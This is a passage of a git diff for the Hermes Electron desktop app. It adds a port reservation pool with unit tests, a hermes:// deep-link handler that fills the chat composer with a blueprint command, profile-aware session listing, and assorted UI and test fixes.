||||
const _coldStartLink = _extractDeepLink(process.argv)
|
||||
if (_coldStartLink) handleDeepLink(_coldStartLink)
|
||||
|
||||
app.on('activate', () => {
|
||||
// Recreate the primary window if it's gone. Guard on mainWindow directly
|
||||
// (not just total window count) so a dock click still restores the main
|
||||
|
||||
73
apps/desktop/electron/port-pool.cjs
Normal file
73
apps/desktop/electron/port-pool.cjs
Normal file
@@ -0,0 +1,73 @@
|
||||
'use strict'
|
||||
|
||||
/**
|
||||
* In-process port reservation pool for the desktop backend launcher.
|
||||
*
|
||||
* pickPort() probes a localhost port with a throwaway server and closes it
|
||||
* before the real bind happens in a separate Python child. Between that probe
|
||||
* and the child's bind there is a TOCTOU window: a second concurrent spawn
|
||||
* (the primary backend racing a pool backend) can be handed the SAME port, and
|
||||
* one then dies with EADDRINUSE ("address already in use" -> "Object has been
|
||||
* destroyed" boot loop). Reserving the chosen port in THIS process until the
|
||||
* child exits closes that window.
|
||||
*
|
||||
* The OS bind remains the source of truth; this only deconflicts racers inside
|
||||
* this process — it can't stop a foreign squatter, which the probe + the
|
||||
* EADDRINUSE self-heal still cover.
|
||||
*
|
||||
* The pool is dependency-injected (the availability probe is passed in) and
|
||||
* free of Electron/Node socket I/O, so it is unit-tested without real sockets
|
||||
* (see port-pool.test.cjs).
|
||||
*/
|
||||
class PortPool {
|
||||
/**
|
||||
* @param {number} floor inclusive lowest port to hand out
|
||||
* @param {number} ceiling inclusive highest port to hand out
|
||||
*/
|
||||
constructor(floor, ceiling) {
|
||||
this.floor = floor
|
||||
this.ceiling = ceiling
|
||||
this._reserved = new Set()
|
||||
}
|
||||
|
||||
/** @returns {boolean} whether `port` is currently reserved in-process. */
|
||||
has(port) {
|
||||
return this._reserved.has(port)
|
||||
}
|
||||
|
||||
/** Release a previously reserved port. No-op if it was not reserved. */
|
||||
release(port) {
|
||||
this._reserved.delete(port)
|
||||
}
|
||||
|
||||
/** Drop all reservations. */
|
||||
clear() {
|
||||
this._reserved.clear()
|
||||
}
|
||||
|
||||
/** @returns {number} count of currently reserved ports. */
|
||||
get size() {
|
||||
return this._reserved.size
|
||||
}
|
||||
|
||||
/**
|
||||
* Reserve and return the lowest port in [floor, ceiling] that is neither
|
||||
* already reserved in-process nor rejected by `isAvailable(port)`, or null
|
||||
* if every port is taken. `isAvailable` may be sync (boolean) or async
|
||||
* (Promise<boolean>); it is awaited either way.
|
||||
*
|
||||
* @param {(port: number) => boolean | Promise<boolean>} isAvailable
|
||||
* @returns {Promise<number|null>}
|
||||
*/
|
||||
async reserve(isAvailable) {
|
||||
for (let port = this.floor; port <= this.ceiling; port += 1) {
|
||||
if (this._reserved.has(port)) continue
|
||||
if (!(await isAvailable(port))) continue
|
||||
this._reserved.add(port)
|
||||
return port
|
||||
}
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { PortPool }
|
||||
77
apps/desktop/electron/port-pool.test.cjs
Normal file
77
apps/desktop/electron/port-pool.test.cjs
Normal file
@@ -0,0 +1,77 @@
|
||||
/**
|
||||
* Tests for electron/port-pool.cjs.
|
||||
*
|
||||
* Run with: node --test electron/port-pool.test.cjs
|
||||
*
|
||||
* PortPool is the in-process reservation that closes the pickPort() TOCTOU
|
||||
* window. These cover selection order, skipping reserved/unavailable ports,
|
||||
* release/reuse, exhaustion, and async probes — without real sockets.
|
||||
*/
|
||||
|
||||
const test = require('node:test')
|
||||
const assert = require('node:assert/strict')
|
||||
|
||||
const { PortPool } = require('./port-pool.cjs')
|
||||
|
||||
const allFree = () => true
|
||||
|
||||
test('reserve returns the lowest free port and reserves it', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const port = await pool.reserve(allFree)
|
||||
assert.equal(port, 9120)
|
||||
assert.ok(pool.has(9120))
|
||||
assert.equal(pool.size, 1)
|
||||
})
|
||||
|
||||
test('reserve skips ports already reserved in-process', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const first = await pool.reserve(allFree)
|
||||
const second = await pool.reserve(allFree)
|
||||
assert.equal(first, 9120)
|
||||
assert.equal(second, 9121)
|
||||
})
|
||||
|
||||
test('reserve skips ports the probe rejects', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const busy = new Set([9120, 9121])
|
||||
const port = await pool.reserve(p => !busy.has(p))
|
||||
assert.equal(port, 9122)
|
||||
})
|
||||
|
||||
test('reserve returns null when every port is taken', async () => {
|
||||
const pool = new PortPool(9120, 9121)
|
||||
await pool.reserve(allFree)
|
||||
await pool.reserve(allFree)
|
||||
assert.equal(await pool.reserve(allFree), null)
|
||||
})
|
||||
|
||||
test('release frees a reserved port for reuse', async () => {
|
||||
const pool = new PortPool(9120, 9120)
|
||||
assert.equal(await pool.reserve(allFree), 9120)
|
||||
assert.equal(await pool.reserve(allFree), null) // exhausted
|
||||
pool.release(9120)
|
||||
assert.ok(!pool.has(9120))
|
||||
assert.equal(await pool.reserve(allFree), 9120) // reusable
|
||||
})
|
||||
|
||||
test('release is a no-op for an unreserved port', () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
pool.release(9120)
|
||||
assert.equal(pool.size, 0)
|
||||
})
|
||||
|
||||
test('reserve awaits an async probe', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
const busy = new Set([9120])
|
||||
const port = await pool.reserve(p => Promise.resolve(!busy.has(p)))
|
||||
assert.equal(port, 9121)
|
||||
})
|
||||
|
||||
test('clear drops all reservations', async () => {
|
||||
const pool = new PortPool(9120, 9199)
|
||||
await pool.reserve(allFree)
|
||||
await pool.reserve(allFree)
|
||||
assert.equal(pool.size, 2)
|
||||
pool.clear()
|
||||
assert.equal(pool.size, 0)
|
||||
})
|
||||
@@ -80,6 +80,12 @@ contextBridge.exposeInMainWorld('hermesDesktop', {
|
||||
ipcRenderer.on('hermes:open-updates', listener)
|
||||
return () => ipcRenderer.removeListener('hermes:open-updates', listener)
|
||||
},
|
||||
onDeepLink: callback => {
|
||||
const listener = (_event, payload) => callback(payload)
|
||||
ipcRenderer.on('hermes:deep-link', listener)
|
||||
return () => ipcRenderer.removeListener('hermes:deep-link', listener)
|
||||
},
|
||||
signalDeepLinkReady: () => ipcRenderer.invoke('hermes:deep-link-ready'),
|
||||
onWindowStateChanged: callback => {
|
||||
const listener = (_event, payload) => callback(payload)
|
||||
ipcRenderer.on('hermes:window-state-changed', listener)
|
||||
|
||||
@@ -8,7 +8,7 @@ const path = require('node:path')
|
||||
const ELECTRON_DIR = __dirname
|
||||
|
||||
function readElectronFile(name) {
|
||||
return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8')
|
||||
return fs.readFileSync(path.join(ELECTRON_DIR, name), 'utf8').replace(/\r\n/g, '\n')
|
||||
}
|
||||
|
||||
function requireHiddenChildOptions(source, needle) {
|
||||
|
||||
@@ -35,7 +35,7 @@
|
||||
"test:desktop:nsis": "node scripts/test-desktop.mjs nsis",
|
||||
"test:desktop:existing": "node scripts/test-desktop.mjs existing",
|
||||
"test:desktop:fresh": "node scripts/test-desktop.mjs fresh",
|
||||
"test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
|
||||
"test:desktop:platforms": "node --test electron/bootstrap-platform.test.cjs electron/hardening.test.cjs electron/backend-probes.test.cjs electron/bootstrap-runner.test.cjs electron/connection-config.test.cjs electron/dashboard-token.test.cjs electron/gateway-ws-probe.test.cjs electron/oauth-net-request.test.cjs electron/desktop-uninstall.test.cjs electron/port-pool.test.cjs electron/session-windows.test.cjs electron/workspace-cwd.test.cjs electron/fs-read-dir.test.cjs electron/git-root.test.cjs electron/windows-child-process.test.cjs electron/update-remote.test.cjs",
|
||||
"typecheck": "tsc -p . --noEmit",
|
||||
"lint": "eslint src/ electron/",
|
||||
"lint:fix": "eslint src/ electron/ --fix",
|
||||
@@ -72,6 +72,7 @@
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"cmdk": "^1.1.1",
|
||||
"dnd-core": "^14.0.1",
|
||||
"hast-util-from-html-isomorphic": "^2.0.0",
|
||||
"hast-util-to-text": "^4.0.2",
|
||||
"ignore": "^7.0.5",
|
||||
@@ -83,6 +84,7 @@
|
||||
"radix-ui": "^1.4.3",
|
||||
"react": "^19.2.5",
|
||||
"react-arborist": "^3.5.0",
|
||||
"react-dnd-html5-backend": "^14.0.3",
|
||||
"react-dom": "^19.2.5",
|
||||
"react-router-dom": "^7.17.0",
|
||||
"react-shiki": "^0.9.3",
|
||||
@@ -103,7 +105,7 @@
|
||||
"@testing-library/dom": "^10.4.0",
|
||||
"@testing-library/react": "^16.3.2",
|
||||
"@types/hast": "^3.0.4",
|
||||
"@types/node": "^24.12.0",
|
||||
"@types/node": "^24.13.2",
|
||||
"@types/react": "^19.2.14",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@typescript-eslint/eslint-plugin": "^8.59.1",
|
||||
@@ -132,6 +134,14 @@
|
||||
"appId": "com.nousresearch.hermes",
|
||||
"productName": "Hermes",
|
||||
"executableName": "Hermes",
|
||||
"protocols": [
|
||||
{
|
||||
"name": "Hermes Protocol",
|
||||
"schemes": [
|
||||
"hermes"
|
||||
]
|
||||
}
|
||||
],
|
||||
"artifactName": "Hermes-${version}-${os}-${arch}.${ext}",
|
||||
"icon": "assets/icon",
|
||||
"directories": {
|
||||
|
||||
@@ -18,7 +18,7 @@ import {
|
||||
} from '@/components/ui/pagination'
|
||||
import { TextTab, TextTabMeta } from '@/components/ui/text-tab'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { getSessionMessages, listSessions } from '@/hermes'
|
||||
import { getSessionMessages, listAllProfileSessions } from '@/hermes'
|
||||
import { type Translations, useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { ExternalLink, ExternalLinkIcon, hostPathLabel, urlSlugTitleLabel, useLinkTitle } from '@/lib/external-link'
|
||||
@@ -388,8 +388,8 @@ export function ArtifactsView({ setStatusbarItemGroup: _setStatusbarItemGroup, .
|
||||
setRefreshing(true)
|
||||
|
||||
try {
|
||||
const sessions = (await listSessions(30, 1)).sessions
|
||||
const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id)))
|
||||
const sessions = (await listAllProfileSessions(30, 1)).sessions
|
||||
const results = await Promise.allSettled(sessions.map(session => getSessionMessages(session.id, session.profile)))
|
||||
const nextArtifacts: ArtifactRecord[] = []
|
||||
|
||||
results.forEach((result, index) => {
|
||||
|
||||
@@ -1630,7 +1630,7 @@ export function ChatBar({
|
||||
onPaste={handlePaste}
|
||||
ref={editorRef}
|
||||
role="textbox"
|
||||
spellCheck="true"
|
||||
spellCheck={false}
|
||||
suppressContentEditableWarning
|
||||
/>
|
||||
{/* assistant-ui requires ComposerPrimitive.Input somewhere in the tree
|
||||
@@ -1649,7 +1649,15 @@ export function ChatBar({
|
||||
`asChild` swaps TextareaAutosize for a Radix Slot wrapping our
|
||||
plain <textarea>, which carries the binding but skips autosize. */}
|
||||
<ComposerPrimitive.Input asChild submitMode="ctrlEnter" tabIndex={-1} unstable_focusOnScrollToBottom={false}>
|
||||
<textarea aria-hidden className="sr-only" tabIndex={-1} />
|
||||
<textarea
|
||||
aria-hidden
|
||||
autoCapitalize="off"
|
||||
autoComplete="off"
|
||||
autoCorrect="off"
|
||||
className="sr-only"
|
||||
spellCheck={false}
|
||||
tabIndex={-1}
|
||||
/>
|
||||
</ComposerPrimitive.Input>
|
||||
</div>
|
||||
)
|
||||
|
||||
@@ -13,6 +13,7 @@ import { Streamdown } from 'streamdown'
|
||||
import { HERMES_PATHS_MIME } from '@/app/chat/hooks/use-composer-actions'
|
||||
import { PageLoader } from '@/components/page-loader'
|
||||
import { translateNow, useI18n } from '@/i18n'
|
||||
import { readDesktopFileDataUrl, readDesktopFileText } from '@/lib/desktop-fs'
|
||||
import { cn } from '@/lib/utils'
|
||||
import type { PreviewTarget } from '@/store/preview'
|
||||
|
||||
@@ -180,15 +181,13 @@ function looksBinaryBytes(bytes: Uint8Array) {
|
||||
}
|
||||
|
||||
async function readTextPreview(filePath: string) {
|
||||
if (window.hermesDesktop.readFileText) {
|
||||
try {
|
||||
return await window.hermesDesktop.readFileText(filePath)
|
||||
} catch (error) {
|
||||
const message = error instanceof Error ? error.message : String(error)
|
||||
try {
|
||||
return await readDesktopFileText(filePath)
|
||||
} catch (error) {
|
||||
const message = error instanceof Error ? error.message : String(error)
|
||||
|
||||
if (!message.includes("No handler registered for 'hermes:readFileText'")) {
|
||||
throw error
|
||||
}
|
||||
if (!message.includes("No handler registered for 'hermes:readFileText'")) {
|
||||
throw error
|
||||
}
|
||||
}
|
||||
|
||||
@@ -288,7 +287,7 @@ const MARKDOWN_COMPONENTS = {
|
||||
|
||||
function MarkdownPreview({ text }: { text: string }) {
|
||||
return (
|
||||
<div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground">
|
||||
<div className="preview-markdown mx-auto max-w-3xl px-4 py-3 text-sm text-foreground" data-selectable-text="true">
|
||||
<Streamdown components={MARKDOWN_COMPONENTS} controls={false} mode="static" parseIncompleteMarkdown={false}>
|
||||
{text}
|
||||
</Streamdown>
|
||||
@@ -384,7 +383,10 @@ function SourceView({ filePath, language, text }: { filePath: string; language:
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
<div className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!">
|
||||
<div
|
||||
className="relative [&_pre]:m-0 [&_pre]:px-3 [&_pre]:py-3 [&_pre]:bg-transparent!"
|
||||
data-selectable-text="true"
|
||||
>
|
||||
{selection && (
|
||||
<div
|
||||
aria-hidden
|
||||
@@ -448,7 +450,7 @@ export function LocalFilePreview({ reloadKey, target }: { reloadKey: number; tar
|
||||
if (isImage) {
|
||||
// Prefer bytes the caller already handed us (a pasted/dropped
|
||||
// screenshot) over re-reading a path that may be transient/unreadable.
|
||||
const dataUrl = target.dataUrl || (await window.hermesDesktop.readFileDataUrl(filePath))
|
||||
const dataUrl = target.dataUrl || (await readDesktopFileDataUrl(filePath))
|
||||
|
||||
if (active) {
|
||||
setState({ dataUrl, loading: false })
|
||||
|
||||
@@ -1,11 +1,50 @@
|
||||
import { act, cleanup, render } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { $connection } from '@/store/session'
|
||||
|
||||
import { PreviewPane } from './preview-pane'
|
||||
|
||||
describe('PreviewPane console state', () => {
|
||||
beforeEach(() => {
|
||||
vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => window.setTimeout(() => callback(Date.now()), 0))
|
||||
vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
cleanup()
|
||||
$connection.set(null)
|
||||
vi.unstubAllGlobals()
|
||||
})
|
||||
|
||||
it('does not watch backend-only remote filesystem previews locally', () => {
|
||||
const watchPreviewFile = vi.fn(async () => ({ id: 'watch-1', path: '/remote/file.txt' }))
|
||||
const onPreviewFileChanged = vi.fn(() => vi.fn())
|
||||
$connection.set({ mode: 'remote' } as never)
|
||||
vi.stubGlobal('window', {
|
||||
...window,
|
||||
hermesDesktop: {
|
||||
onPreviewFileChanged,
|
||||
watchPreviewFile
|
||||
}
|
||||
})
|
||||
|
||||
render(
|
||||
<PreviewPane
|
||||
setTitlebarToolGroup={vi.fn()}
|
||||
target={{
|
||||
kind: 'file',
|
||||
label: 'file.txt',
|
||||
path: '/remote/file.txt',
|
||||
previewKind: 'text',
|
||||
source: '/remote/file.txt',
|
||||
url: 'file:///remote/file.txt'
|
||||
}}
|
||||
/>
|
||||
)
|
||||
|
||||
expect(watchPreviewFile).not.toHaveBeenCalled()
|
||||
expect(onPreviewFileChanged).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('does not rebuild the pane titlebar group for streamed console logs', () => {
|
||||
|
||||
@@ -5,6 +5,7 @@ import { useCallback, useEffect, useRef, useState } from 'react'
|
||||
import type { SetTitlebarToolGroup, TitlebarTool } from '@/app/shell/titlebar-controls'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { type Translations, useI18n } from '@/i18n'
|
||||
import { isDesktopFsRemoteMode } from '@/lib/desktop-fs'
|
||||
import { Bug } from '@/lib/icons'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { notify, notifyError } from '@/store/notifications'
|
||||
@@ -406,6 +407,7 @@ export function PreviewPane({
|
||||
useEffect(() => {
|
||||
if (
|
||||
target.kind !== 'file' ||
|
||||
isDesktopFsRemoteMode() ||
|
||||
!window.hermesDesktop?.watchPreviewFile ||
|
||||
!window.hermesDesktop?.onPreviewFileChanged
|
||||
) {
|
||||
|
||||
@@ -797,7 +797,14 @@ export function ChatSidebar({
|
||||
<SidebarMenuButton
|
||||
aria-disabled={!isInteractive}
|
||||
className={cn(
|
||||
'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
|
||||
// no-drag: these rows sit directly under the titlebar's
|
||||
// [-webkit-app-region:drag] strips (app-shell.tsx), with only
|
||||
// 6px of clearance. Drag regions win hit-testing over DOM
|
||||
// (pointer-events can't override), and on Linux/WSLg the
|
||||
// resolved region has been observed to swallow clicks on the
|
||||
// top rows. Same carve-out as USER_BUBBLE_BASE_CLASS in
|
||||
// thread.tsx.
|
||||
'flex h-7 w-full justify-start gap-2 rounded-md border border-transparent px-2 text-left text-[0.8125rem] font-medium text-(--ui-text-secondary) transition-colors duration-100 ease-out [-webkit-app-region:no-drag] hover:bg-(--ui-control-hover-background) hover:text-foreground hover:transition-none',
|
||||
active &&
|
||||
'border-(--ui-stroke-tertiary) bg-(--ui-control-active-background) text-foreground shadow-none hover:border-(--ui-stroke-tertiary)!',
|
||||
!isInteractive &&
|
||||
|
||||
@@ -88,7 +88,7 @@ function useSessionActions({ sessionId, title, pinned = false, profile, onPin, o
|
||||
label: r.export,
|
||||
onSelect: () => {
|
||||
triggerHaptic('selection')
|
||||
void exportSession(sessionId, { title })
|
||||
void exportSession(sessionId, { profile, title })
|
||||
}
|
||||
},
|
||||
{
|
||||
|
||||
@@ -8,7 +8,7 @@ import { HUD_HEADING, HUD_ITEM, HUD_POSITION, HUD_SURFACE, HUD_TEXT } from '@/ap
|
||||
import { setTerminalTakeover } from '@/app/right-sidebar/store'
|
||||
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
|
||||
import { KbdGroup } from '@/components/ui/kbd'
|
||||
import { getHermesConfigRecord, listSessions } from '@/hermes'
|
||||
import { getHermesConfigRecord, listAllProfileSessions } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import {
|
||||
@@ -119,7 +119,7 @@ const paletteFilter = (value: string, search: string, keywords?: string[]): numb
|
||||
return needle.split(/\s+/).every(term => haystack.includes(term)) ? 1 : 0
|
||||
}
|
||||
|
||||
type SessionRow = Awaited<ReturnType<typeof listSessions>>['sessions'][number]
|
||||
type SessionRow = Awaited<ReturnType<typeof listAllProfileSessions>>['sessions'][number]
|
||||
|
||||
const toSessionEntry = (session: SessionRow): SessionEntry => ({
|
||||
id: session.id,
|
||||
@@ -218,13 +218,13 @@ export function CommandPalette() {
|
||||
|
||||
const sessionsQuery = useQuery({
|
||||
queryKey: ['command-palette', 'sessions'],
|
||||
queryFn: () => listSessions(200, 1, 'exclude'),
|
||||
queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
|
||||
enabled: open
|
||||
})
|
||||
|
||||
const archivedQuery = useQuery({
|
||||
queryKey: ['command-palette', 'archived'],
|
||||
queryFn: () => listSessions(200, 0, 'only'),
|
||||
queryFn: () => listAllProfileSessions(200, 0, 'only'),
|
||||
enabled: open
|
||||
})
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ import { Pane, PaneMain } from '@/components/pane-shell'
|
||||
import { useMediaQuery } from '@/hooks/use-media-query'
|
||||
import { useSkinCommand } from '@/themes/use-skin-command'
|
||||
|
||||
import { requestComposerFocus, requestComposerInsert } from './chat/composer/focus'
|
||||
import { formatRefValue } from '../components/assistant-ui/directive-text'
|
||||
import { getCronJobs, getSessionMessages, listAllProfileSessions, type SessionInfo, triggerCronJob } from '../hermes'
|
||||
import { preserveLocalAssistantErrors, toChatMessages } from '../lib/chat-messages'
|
||||
@@ -266,6 +267,31 @@ export function DesktopController() {
|
||||
}
|
||||
}, [])
|
||||
|
||||
// hermes:// deep links (e.g. a docs "Send to App" button for an automation blueprint).
|
||||
// Build the equivalent /blueprint slash command from the payload and drop
|
||||
// it into the composer — the user reviews/edits, then sends; the agent (or
|
||||
// the shared command handler) creates the job. Signal readiness so a link
|
||||
// that arrived during boot is flushed exactly once.
|
||||
useEffect(() => {
|
||||
const unsubscribe = window.hermesDesktop?.onDeepLink?.((payload) => {
|
||||
if (!payload || payload.kind !== 'blueprint' || !payload.name) {
|
||||
return
|
||||
}
|
||||
const slots = Object.entries(payload.params || {})
|
||||
.map(([k, v]) => {
|
||||
const sval = /\s/.test(v) ? `"${v.replace(/"/g, '\\"')}"` : v
|
||||
return `${k}=${sval}`
|
||||
})
|
||||
.join(' ')
|
||||
const command = `/blueprint ${payload.name}${slots ? ' ' + slots : ''}`
|
||||
requestComposerInsert(command, { mode: 'block', target: 'main' })
|
||||
requestComposerFocus('main')
|
||||
})
|
||||
// Tell the main process the renderer is ready to receive deep links.
|
||||
void window.hermesDesktop?.signalDeepLinkReady?.()
|
||||
return () => unsubscribe?.()
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
const onKeyDown = (event: KeyboardEvent) => {
|
||||
if (!$filePreviewTarget.get() && !$previewTarget.get()) {
|
||||
@@ -521,7 +547,9 @@ export function DesktopController() {
|
||||
return
|
||||
}
|
||||
|
||||
const storedProfile = $sessions.get().find(session => session.id === storedSessionId)?.profile
|
||||
const storedProfile = $sessions
|
||||
.get()
|
||||
.find(session => session.id === storedSessionId || session._lineage_root_id === storedSessionId)?.profile
|
||||
|
||||
for (let index = 0; index < Math.max(1, attempts); index += 1) {
|
||||
try {
|
||||
|
||||
@@ -3,6 +3,7 @@ import { useEffect, useRef } from 'react'
|
||||
import type { HermesConnection } from '@/global'
|
||||
import { HermesGateway } from '@/hermes'
|
||||
import { translateNow } from '@/i18n'
|
||||
import { desktopDefaultCwd } from '@/lib/desktop-fs'
|
||||
import { isGatewayReauthRequired, resolveGatewayWsUrl } from '@/lib/gateway-ws-url'
|
||||
import {
|
||||
$desktopBoot,
|
||||
@@ -25,12 +26,16 @@ import {
|
||||
import { notify, notifyError } from '@/store/notifications'
|
||||
import { $activeGatewayProfile, normalizeProfileKey, touchActiveGatewayBackend } from '@/store/profile'
|
||||
import {
|
||||
$activeSessionId,
|
||||
$attentionSessionIds,
|
||||
$connection,
|
||||
$currentCwd,
|
||||
$sessions,
|
||||
$workingSessionIds,
|
||||
ensureDefaultWorkspaceCwd,
|
||||
setConnection,
|
||||
setCurrentBranch,
|
||||
setCurrentCwd,
|
||||
setSessionsLoading
|
||||
} from '@/store/session'
|
||||
import type { RpcEvent } from '@/types/hermes'
|
||||
@@ -353,6 +358,11 @@ export function useGatewayBoot({
|
||||
progress: 97
|
||||
})
|
||||
await ensureDefaultWorkspaceCwd()
|
||||
const remoteDefault = await desktopDefaultCwd().catch(() => null)
|
||||
if (remoteDefault?.cwd && !$activeSessionId.get() && !$currentCwd.get()) {
|
||||
setCurrentCwd(remoteDefault.cwd)
|
||||
setCurrentBranch(remoteDefault.branch || '')
|
||||
}
|
||||
await callbacksRef.current.refreshHermesConfig()
|
||||
|
||||
if (cancelled) {
|
||||
|
||||
27
apps/desktop/src/app/right-sidebar/files/dnd-manager.ts
Normal file
27
apps/desktop/src/app/right-sidebar/files/dnd-manager.ts
Normal file
@@ -0,0 +1,27 @@
|
||||
import { createDragDropManager, type DragDropManager } from 'dnd-core'
|
||||
import { HTML5Backend } from 'react-dnd-html5-backend'
|
||||
|
||||
let manager: DragDropManager | null = null
|
||||
|
||||
/**
|
||||
* A single, app-lifetime react-dnd manager for the file tree.
|
||||
*
|
||||
* react-arborist mounts its own react-dnd `DndProvider` with `HTML5Backend`
|
||||
* inside every `<Tree>`. react-dnd v14 stores that provider's manager on a
|
||||
* global, ref-counted singleton context and nulls it when the count hits 0.
|
||||
* On a keyed remount (cwd / collapse changes force a fresh `<Tree>`), the
|
||||
* singleton can be torn down and recreated while the previous `HTML5Backend`
|
||||
* still owns the `window.__isReactDndHtml5Backend` setup flag — so the new
|
||||
* backend's `setup()` throws "Cannot have two HTML5 backends at the same
|
||||
* time." and trips the file-tree error boundary (it never recovers, because
|
||||
* "Try again" just remounts into the same race).
|
||||
*
|
||||
* Passing arborist a stable `dndManager` makes it skip the global-singleton
|
||||
* path entirely and reuse one backend for the lifetime of the app, so the
|
||||
* window flag is never double-claimed.
|
||||
*/
|
||||
export function getFileTreeDndManager(): DragDropManager {
|
||||
manager ??= createDragDropManager(HTML5Backend)
|
||||
|
||||
return manager
|
||||
}
|
||||
100
apps/desktop/src/app/right-sidebar/files/ipc.test.ts
Normal file
100
apps/desktop/src/app/right-sidebar/files/ipc.test.ts
Normal file
@@ -0,0 +1,100 @@
|
||||
/// <reference types="node" />
|
||||
|
||||
import { Buffer } from 'node:buffer'
|
||||
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import type { HermesReadDirEntry, HermesReadDirResult } from '@/global'
|
||||
|
||||
import { clearProjectDirCache, readProjectDir } from './ipc'
|
||||
|
||||
const readDir = vi.fn<(path: string) => Promise<HermesReadDirResult>>()
|
||||
const readFileDataUrl = vi.fn<(path: string) => Promise<string>>()
|
||||
const gitRoot = vi.fn<(path: string) => Promise<string | null>>()
|
||||
|
||||
function ok(entries: HermesReadDirEntry[]): HermesReadDirResult {
|
||||
return { entries }
|
||||
}
|
||||
|
||||
function dataUrl(text: string) {
|
||||
return `data:text/plain;base64,${Buffer.from(text, 'utf8').toString('base64')}`
|
||||
}
|
||||
|
||||
function installBridge() {
|
||||
;(
|
||||
window as unknown as {
|
||||
hermesDesktop: {
|
||||
gitRoot: typeof gitRoot
|
||||
readDir: typeof readDir
|
||||
readFileDataUrl: typeof readFileDataUrl
|
||||
}
|
||||
}
|
||||
).hermesDesktop = { gitRoot, readDir, readFileDataUrl }
|
||||
}
|
||||
|
||||
describe('readProjectDir', () => {
|
||||
beforeEach(() => {
|
||||
clearProjectDirCache()
|
||||
readDir.mockReset()
|
||||
readFileDataUrl.mockReset()
|
||||
gitRoot.mockReset()
|
||||
installBridge()
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
clearProjectDirCache()
|
||||
delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
|
||||
})
|
||||
|
||||
it('returns no-bridge when the desktop bridge is unavailable', async () => {
|
||||
delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
|
||||
|
||||
await expect(readProjectDir('/repo')).resolves.toEqual({ entries: [], error: 'no-bridge' })
|
||||
})
|
||||
|
||||
it('filters gitignored entries when readDir returns Windows-style paths', async () => {
|
||||
gitRoot.mockResolvedValue('C:\\repo')
|
||||
readDir.mockImplementation(async path => {
|
||||
if (path === 'C:\\repo\\src') {
|
||||
return ok([
|
||||
{ name: 'debug.log', path: 'C:\\repo\\src\\debug.log', isDirectory: false },
|
||||
{ name: '临时.txt', path: 'C:\\repo\\src\\临时.txt', isDirectory: false },
|
||||
{ name: 'keep.ts', path: 'C:\\repo\\src\\keep.ts', isDirectory: false }
|
||||
])
|
||||
}
|
||||
|
||||
if (path === 'C:/repo') {
|
||||
return ok([{ name: '.gitignore', path: 'C:/repo/.gitignore', isDirectory: false }])
|
||||
}
|
||||
|
||||
if (path === 'C:/repo/src') {
|
||||
return ok([])
|
||||
}
|
||||
|
||||
return ok([])
|
||||
})
|
||||
readFileDataUrl.mockResolvedValue(dataUrl('# Unicode 路径规则\nsrc/*.log\nsrc/临时.txt\n'))
|
||||
|
||||
const result = await readProjectDir('C:\\repo\\src', 'C:\\repo')
|
||||
|
||||
expect(result.entries.map(entry => entry.name)).toEqual(['keep.ts'])
|
||||
expect(gitRoot).toHaveBeenCalledWith('C:/repo')
|
||||
expect(readFileDataUrl).toHaveBeenCalledWith('C:/repo/.gitignore')
|
||||
})
|
||||
|
||||
it('does not fetch .gitignore contents when listings do not contain .gitignore', async () => {
|
||||
gitRoot.mockResolvedValue('/repo')
|
||||
readDir.mockImplementation(async path => {
|
||||
if (path === '/repo/src') {
|
||||
return ok([{ name: 'debug.log', path: '/repo/src/debug.log', isDirectory: false }])
|
||||
}
|
||||
|
||||
return ok([])
|
||||
})
|
||||
|
||||
const result = await readProjectDir('/repo/src', '/repo')
|
||||
|
||||
expect(result.entries.map(entry => entry.name)).toEqual(['debug.log'])
|
||||
expect(readFileDataUrl).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
@@ -1,5 +1,6 @@
|
||||
import ignore from 'ignore'
|
||||
|
||||
